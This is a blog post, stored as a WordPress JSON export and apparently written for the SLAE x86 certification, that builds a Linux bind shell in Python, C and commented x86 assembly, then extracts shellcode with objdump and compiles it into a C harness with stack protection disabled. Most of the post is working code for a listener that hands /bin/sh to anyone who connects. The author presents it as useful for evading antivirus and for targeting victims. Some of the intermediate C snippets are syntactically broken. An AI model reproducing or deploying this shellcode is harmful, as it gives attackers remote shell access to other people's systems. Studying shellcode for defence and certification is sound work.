{"id":109,"date":"2020-08-22T17:00:00","date_gmt":"2020-08-22T17:00:00","guid":{"rendered":"https:\/\/badbit.vc\/?p=109"},"modified":"2020-09-02T21:17:56","modified_gmt":"2020-09-02T21:17:56","slug":"writing-a-linux-bind-shell-in-asm-x86","status":"publish","type":"post","link":"https:\/\/badbit.vc\/index.php\/2020\/08\/22\/writing-a-linux-bind-shell-in-asm-x86\/","title":{"rendered":"Writing a Bind Shell in x86 Assembly Language"},"content":{"rendered":"\n<p>A bind shell can be simply defined as a connection established from the attacker&#8217;s machine to the victim&#8217;s machine which presents the attacker with a comamnd line shell access of the victim&#8217;s machine.<br>In this blog post, we will go through the process of the components involved in a bind shell and create our own.<\/p>\n\n\n\n<p>In a bind shell, the victim machine listens for incoming connection on a particular port as shown below:<br><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"917\" height=\"360\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200820_175811.jpg\" alt=\"\" class=\"wp-image-186\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200820_175811.jpg 917w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200820_175811-300x118.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200820_175811-768x302.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200820_175811-850x334.jpg 850w\" sizes=\"auto, (max-width: 917px) 100vw, 917px\" \/><\/figure>\n\n\n\n<p>For a better understanding of the concept, we will start with programming a bind shell in a higher level language before diving straight into ASM to get a clear understanding of the program flow and the required <a href=\"https:\/\/en.wikipedia.org\/wiki\/System_call\">syscalls<\/a> which we will later convert into x86 Assembly. <\/p>\n\n\n\n<p>One must be wondering why convert things into ASSEMBLY LANGUAGE in the first place?! There are multiple reasons to it which can&#8217;t be described in a single post. My personal favourite being &#8211; to evade malware from Antiviruses, EDRs etc. Here are two blogs each from <a href=\"https:\/\/www.sentinelone.com\/blog\/malicious-input-how-hackers-use-shellcode\/\">SentinelOne<\/a> and <a href=\"https:\/\/www.fireeye.com\/blog\/threat-research\/2019\/10\/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html\">Fireeye<\/a>  which explain why attackers write shellcodes.<br><br>In this blog post, I will explain a bind shell starting off with with Python and gradually build the same on lower levels. You can choose the language of your preference to begin with or might even straightaway go into ASM code. Ultimately, it all boils down to your level of comfort and understading.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>Here&#8217;s a Python equivalent of a Bind shell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import socket\n\nbind_ip = \"0.0.0.0\" #Define the IP to bind to\nbind_port = 4444  #Define port to bind to\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defining socket function \n\nserver.bind((bind_ip, bind_port)) #Defining bind function to bind to our given IP and ports\n\nserver.listen(5)\n\n#Client handling (Can be ignored)\ndef handler(client_socket):\n    request = client_socket.recv(1024)\n    print(\"&#91;*] Received: %s\" % request)\n    client_socket.send(b\"ACK!\")\n    client_socket.close()\n\nwhile True:\n    client, addr = server.accept()\n    handler()\n    \n <\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>Now let&#8217;s take the above as a reference and try to get a little closer to our end goal. We will attempt to convert the same in C and later into x86 Assembly language.<br>Like any other programming language, we first initialize a socket to enable communication between two nodes. In C, we do it with the <a rel=\"noreferrer noopener\" href=\"https:\/\/pubs.opengroup.org\/onlinepubs\/009695399\/functions\/socket.html\" target=\"_blank\">socket()<\/a> function.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;sys\/socket.h>\nint socket(int domain, int type, int protocol);<\/code><\/pre>\n\n\n\n<p>The socket function is a part of sys\/socket.h library and as seen above, it takes three arguments &#8211; <em>int domain, int type and int protocol<\/em>. Also, another thing worth noticing is that the socket function itself is of <em>type int<\/em>.<br>Let&#8217;s try to understand the arguments.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>domain = communication domain, which in our case will be AF_INET. (IPv4 protocol)<\/li><li>type = type of socket, which in our case will be SOCK_STREAM  (TCP)<\/li><li>protocol = <a rel=\"noreferrer noopener\" href=\"https:\/\/www.iana.org\/assignments\/protocol-numbers\/protocol-numbers.xhtml\" target=\"_blank\">protocol<\/a> to be used, we will go with TCP (#6 as seen in the link)<\/li><\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><em>&#8220;Upon successful completion,&nbsp;socket() shall return a non-negative integer, the socket file descriptor. Otherwise, a value of -1 shall be returned and&nbsp;errno&nbsp;set to indicate the error.&#8221;<\/em><\/p><\/blockquote>\n\n\n\n<p>Now that we have our socket function ready, let&#8217;s try to define it.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include&lt;sys\/socket.h>\nint main()\n{\n\t\/\/int socket_d = socket(domain, type, protocol)\n\tint socket_d = socket(AF_INET, SOCK_STREAM, 6)\n...\n...\n        return 0;\n}<\/code><\/pre>\n\n\n\n<p>Next, we define our <a href=\"https:\/\/man7.org\/linux\/man-pages\/man2\/bind.2.html\" target=\"_blank\" rel=\"noreferrer noopener\">bind()<\/a> function.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> #include &lt;sys\/types.h>          \n #include &lt;sys\/socket.h>\n\n int bind(int socket_d, const struct sockaddr *addr, socklen_t addrlen);<\/code><\/pre>\n\n\n\n<p>The bind function takes our socket as a parameter and essentially binds it to certain values assigned in the structure <a rel=\"noreferrer noopener\" href=\"https:\/\/www.gta.ufrj.br\/ensino\/eel878\/sockets\/sockaddr_inman.html\" target=\"_blank\">sockaddr<\/a>. The sockaddr structure is a base structure for all syscalls and functions that deal with internet addresses which looks like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;netinet\/in.h>\n\nstruct sockaddr_in {\n    short            sin_family;   \/\/ e.g. AF_INET\n    unsigned short   sin_port;     \/\/ e.g. htons(3490)\n    struct in_addr   sin_addr;     \/\/ see struct in_addr, below\n    char             sin_zero&#91;8];  \/\/ zero this if you want to\n};\n\nstruct in_addr {\n    unsigned long s_addr;  \/\/ load with inet_aton()\n};<\/code><\/pre>\n\n\n\n<p>Moving ahead, we define our sockaddr structure and pass the same in the bind function in our C code snippet:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include&lt;sys\/socket.h>\n#include &lt;sys\/types.h>\n#include &lt;netinet\/in.h>      \n\nint main()\n{\n\t\/\/int socket_d = socket(domain, type, protocol)\n\tint socket_d = socket(AF_INET, SOCK_STREAM, 6)\n\n\tstruct sockaddr sockstruct;\n\tsockstruct.sin_family = AF_INET;\n\tsockstruct.sin_port = htons(4444);\n\tsockstruct.sin_addr.s_addr = htonl(INADDR_ANY);\n\n\n\tint bind(socket_d, (struct sockaddr*) &amp;sockstruct, \n        sizeof(sockstruct));\n\n        return 0;\n}<\/code><\/pre>\n\n\n\n<p>Now let&#8217;s define our <a href=\"https:\/\/man7.org\/linux\/man-pages\/man2\/listen.2.html\" target=\"_blank\" rel=\"noreferrer noopener\">listen()<\/a> function:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;sys\/types.h>          \/* See NOTES *\/\n#include &lt;sys\/socket.h>\n\nint listen(int sockfd, int backlog);<\/code><\/pre>\n\n\n\n<p>The backlog parameter simply defines the queue length to which the socket&#8217;s pending connections would grow. Adding the same to our exisitng C code snippet, we get:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include&lt;sys\/socket.h>\n#include &lt;sys\/types.h>\n#include &lt;netinet\/in.h>      \n\nint main()\n{\n\t\/\/int socket_d = socket(domain, type, protocol)\n\tint socket_d = socket(AF_INET, SOCK_STREAM, 6)\n\n\tstruct sockaddr sockstruct;\n\tsockstruct.sin_family = AF_INET;\n\tsockstruct.sin_port = htons(4444);\n\tsockstruct.sin_addr.s_addr = htonl(INADDR_ANY);\n\n\n\tint bind(socket_d, (struct sockaddr*) &amp;sockstruct, sizeof(sockstruct));\n\n\tlisten(socket_d, 2);\n\n        return 0;\n}<\/code><\/pre>\n\n\n\n<p>Now that we have our bind function ready with our IP address and port defined in it, let&#8217;s define the <a rel=\"noreferrer noopener\" href=\"https:\/\/man7.org\/linux\/man-pages\/man2\/accept.2.html\" target=\"_blank\">accept()<\/a> function which will accept incoming connection to our defined IP address and port &#8211; which in our case is Localhost and port 4444 . The function simply accepts three arguments &#8211; our defined <em>socket<\/em>, address to <em>sockaddr struct<\/em> and the size of <em>sockaddr<\/em> which would store the peer&#8217;s information. We can set the same to null as we really don&#8217;t require peer&#8217;s info and also because it will be quite easier to convert the same into shellcode. Adding accept function to our C code snippet, we get:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include&lt;sys\/socket.h>\n#include &lt;sys\/types.h>\n#include &lt;netinet\/in.h>\n\nint socket_d;\nint socket_d_peer; \n\nint main()\n{\n\t\/\/int socket_d = socket(domain, type, protocol)\n\tint socket_d = socket(AF_INET, SOCK_STREAM, 6)\n\n\tstruct sockaddr sockstruct;\n\tsockstruct.sin_family = AF_INET;\n\tsockstruct.sin_port = htons(1337);\n\tsockstruct.sin_addr.s_addr = htonl(INADDR_ANY);\n\n\n\tint bind(socket_d, (struct sockaddr*) &amp;sockstruct, sizeof(sockstruct));\n\n\tlisten(socket_d, 2);\n\n\tsocket_d_peer = accept(socket_d, NULL, NULL);\n\n        return 0;\n}<\/code><\/pre>\n\n\n\n<p>Now for the last part, all that is left is <a href=\"https:\/\/man7.org\/linux\/man-pages\/man2\/dup.2.html\">redirecting<\/a> STDIN, STDOUT and STDERR to our socket and calling our shell via <a rel=\"noreferrer noopener\" href=\"https:\/\/www.man7.org\/linux\/man-pages\/man2\/execve.2.html\" target=\"_blank\">execve()<\/a>. Let&#8217;s add the same in our code snippet and run the shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h>\n#include&lt;sys\/socket.h>\n#include &lt;sys\/types.h>\n#include &lt;netinet\/in.h>\n#include&lt;unistd.h>\n\n\nint socket_d;\nint socket_d_peer; \nstruct sockaddr sockstruct;\n\nint main()\n{\n\t\/\/int socket_d = socket(domain, type, protocol)\n\tint socket_d = socket(AF_INET, SOCK_STREAM, 6);\n\n\t\n\tsockstruct.sin_family = AF_INET;\n\tsockstruct.sin_port = htons(1337);\n\tsockstruct.sin_addr.s_addr = htonl(INADDR_ANY);\n\n\n\tbind(socket_d, (struct sockaddr*) &amp;sockstruct, sizeof(sockstruct));\n\n\tlisten(socket_d, 2);\n\t\/\/printf(\"Listening\\n\");\n\n\tsocket_d_peer = accept(socket_d, NULL, NULL);\n\n\tdup2(socket_d_peer, 0); \/\/STDIN\n\tdup2(socket_d_peer, 1); \/\/STDOUT\n\tdup2(socket_d_peer, 2); \/\/STDERR\n\n\texecve(\"\/bin\/sh\", NULL, NULL);\n\tclose(socket_d);\n\n    return 0;\n}<\/code><\/pre>\n\n\n\n<p>Now that our shell is ready, let&#8217;s quickly compile it and execute it on our local system. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Compiling our C source file using gcc with the following flags:\n$ gcc -z execstack -fno-stack-protector -o bind bind.c<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2-1024x463.jpg\" alt=\"\" class=\"wp-image-189\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2-1024x463.jpg 1024w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2-300x136.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2-768x347.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2-1536x695.jpg 1536w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2-850x385.jpg 850w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/C_bindshell-2.jpg 1775w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>And here we have our compiled bind shell running in window 1, a netcat client connecting to the shell on port 4444 in window 2 and current netstat output while the shell runs in window 3.<\/p>\n\n\n\n<p>Below is the ASM equivalent with commented description of the same bind shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; Syscalls - cat \/usr\/include\/i386-linux-gnu\/asm\/unistd_32.h\n\n\nglobal _start\n\nsection .text\n_start:\n\nsock:\n\t; creating a socketcall syscall\n\t; int socketcall(int call, unsigned long *args);\n\t; Call numbers for socketcall -- \/usr\/include\/linux\/net.h\n\n\t; Clearing out registers\n\txor eax, eax\n\txor ebx, ebx\n\txor ecx, ecx\n\n\n\t; loading args to SYS_socket call\n\t; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)\n\n\tpush ecx ; IPPROTO_IP\n\tpush 0x1 ; SOCK_STREAM\n\tpush 0x2 ; AF_INET\n\tmov ecx, esp ; ECX pointing to arguments for socket call\n\n\tmov bl, 0x1 ; 1 for SYS_socket \n\tmov al, 0x66 ; Invoking SYS_socketcall\n\tint 0x80\n\n\tmov esi, eax ; Saving socket for further use\n\n\t; creating a bind function\n\n\t; bind(socket_d, (struct sockaddr*) &amp;sockstruct, sizeof(sockstruct))\n\n\t\n\n\t; creating a sockaddr structure\n\t; srv_addr.sin_family = AF_INET;\n\t; srv_addr.sin_port = htons( 7777 );\n\t; srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);\n\t\n\txor ebx, ebx\n\t\n\tpush ebx ; Pushing 0x0 to listen on all interfaces\n\tpush word 0x5c11 ; Pushing 4444 as port\n\tpush word 0x2 ; Pushing 0x2 defining AF_INET\n\n\tmov ecx, esp ; ECX pointing to sockaddr structure\n\n\t; creating bind function\n\t; bind( socket_fd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr) );\n\n\tpush 0x10 ; Size of sockstruct\n\tpush ecx ; Sockstruct from stack\n\tpush esi ; Earlier saved socket\n\n\tmov ecx, esp ; ECX pointing to arguments to bind function for SYS_socketcall\n\n\tmov bl, 0x2  ; 2 for SYS_bind\n\tmov al, 0x66 ; Invoking SYS_socketcall\n\tint 0x80\n\n\t; Listen to incoming connections\n\t; listen(socket_fd, 0);\n\t\n\t; arguments to listen function\n\n\txor ebx, ebx\n\tpush ebx ; Pushing 0\n\tpush esi ; Pushing sock_fs as stored in ESI earlier\n\n\tmov ecx, esp ; ECX pointing to arguments for listen function\n\tmov al, 0x66 ; Invoking SYS_socketcall\n\tmov bl, 0x4  ; 4 for SYS_listen\n\tint 0x80\n\n\t; accepting incoming connections\n\t; accept(socket_fd, (struct sockaddr *)&amp;cli_addr, &amp;socklen );\n\n\t; arguments to accept function (Refer C code snippet)\n\n\n\n\txor ebx, ebx\n\tpush ebx ; \n\tpush ebx ; \n\tpush esi ; Pushing ESI which is pointing to sockfd\n\n\tmov ecx, esp\n\n\tmov al, 0x66 ; Invoking SYS_socketcall\n\tmov bl, 0x5  ; 5 for SYS_accept\n\tint 0x80\n\n\t; piping output to our socket\n\t; dup2(client_fd, 0); INPUT\n\t; dup2(client_fd, 1); OUTPUT\n\t; dup2(client_fd, 2); ERROR\n\n\tmov ebx, eax\n\txor ecx, ecx\n\tmov cl, 0x2\n\npipe:\n\n\tmov al, 0x3f ; dup2 syscall\n\tint 0x80\n\tdec ecx\n\tjns pipe\n\n\t; execve syscall to execute \n\n\txor ecx, ecx\n\tmov edx, ecx\n\n\tpush ecx\n\tpush 0x68732f2f ; pushing \/\/sh\n\tpush 0x6e69622f\t; pushing \/bin\n\tmov ebx, esp\n\n\tmov al, 0xb ; Invoking execve syscall\n\t\n\tint 0x80<\/code><\/pre>\n\n\n\n<p>Now let&#8217;s compile and link our shell with <em>nasm<\/em> and <em>ld<\/em> and run it.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"284\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm-1024x284.jpg\" alt=\"\" class=\"wp-image-185\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm-1024x284.jpg 1024w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm-300x83.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm-768x213.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm-1536x426.jpg 1536w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm-850x236.jpg 850w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/bind_shell_asm.jpg 1695w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>And we have a bind shell running on port 4444!<\/p>\n\n\n\n<p>Let&#8217;s quickly generate our shellcode out of the compiled file and attempt to execute it via a C harness which we can then use to target victims. Before we move ahead, let&#8217;s check if our shellcode has any null characters in it. We can do so by using objdump as shown below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"825\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/objdump-1024x825.jpg\" alt=\"\" class=\"wp-image-192\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/objdump-1024x825.jpg 1024w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/objdump-300x242.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/objdump-768x619.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/objdump-850x685.jpg 850w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/objdump.jpg 1151w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p> So far so good! Now using a nice <a href=\"https:\/\/www.commandlinefu.com\/commands\/view\/6051\/get-all-shellcode-on-binary-file-from-objdump\">commandline-fu<\/a> to generate shellcode:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>objdump -d .\/bind_shell|grep '&#91;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/\"\/'|sed 's\/$\/\"\/g'<\/code><\/pre>\n\n\n\n<p>We will feed the generated shellcode from the above cli-fu in our C harness.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"639\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/c-harness.jpg\" alt=\"\" class=\"wp-image-193\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/c-harness.jpg 720w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/c-harness-300x266.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure>\n\n\n\n<p>And lastly compiling it with the following flags as done earlier:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc -z execstack -fno-stack-protector shellcode.c -o bind_shell_linux_x86<\/code><\/pre>\n\n\n\n<p>And we have our bind shell ready to be shipped! \ud83d\ude00<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"331\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last-1024x331.jpg\" alt=\"\" class=\"wp-image-194\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last-1024x331.jpg 1024w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last-300x97.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last-768x248.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last-1536x496.jpg 1536w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last-850x274.jpg 850w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/last.jpg 1797w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>That&#8217;s all for this post folks!<br><br>The major drawback with bind shells is that in most of the real life scenarios, ingress connections from random IPs are mostly blocked and if not blocked then heavily monitored. In such a scenario, we fallback to reverse shells. A reverse shell connects back to the attacker&#8217;s machine instead of having the attacker to connect to the victim&#8217;s machine.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br><a href=\"http:\/\/securitytube-training.com\/online-courses\/securitytube-linux-assembly-expert\/\">http:\/\/securitytube-training.com\/online-courses\/securitytube-linux-assembly-expert\/<\/a><\/p>\n\n\n\n<p>Student ID: PA-14690<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/bad-bit\/SLAE_x86\/tree\/master\/Bind%20Shell\">Bind shell Github Repo<\/a><\/p>\n\n\n\n<p>In the <a rel=\"noreferrer noopener\" href=\"https:\/\/badbit.vc\/index.php\/2020\/08\/28\/writing-a-reverse-shell-in-x86-assembly-language\/\" target=\"_blank\">next post<\/a>, we will create a reverse shell which will connect back to the attacker machine instead of binding to a port locally.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A bind shell can be simply defined as a connection established from the attacker&#8217;s machine to the victim&#8217;s machine which presents the attacker with a comamnd line shell access of the victim&#8217;s machine.In this blog post, we will go through the process of the components involved in a bind shell and create our own. In&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,4],"tags":[7,5,8,6],"class_list":["post-109","post","type-post","status-publish","format-standard","hentry","category-shellcoding","category-slae-x86","tag-linux","tag-shellcode","tag-slae","tag-x86"],"_links":{"self":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts\/109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/comments?post=109"}],"version-history":[{"count":30,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts\/109\/revisions"}],"predecessor-version":[{"id":337,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts\/109\/revisions\/337"}],"wp:attachment":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/media?parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/categories?post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/tags?post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}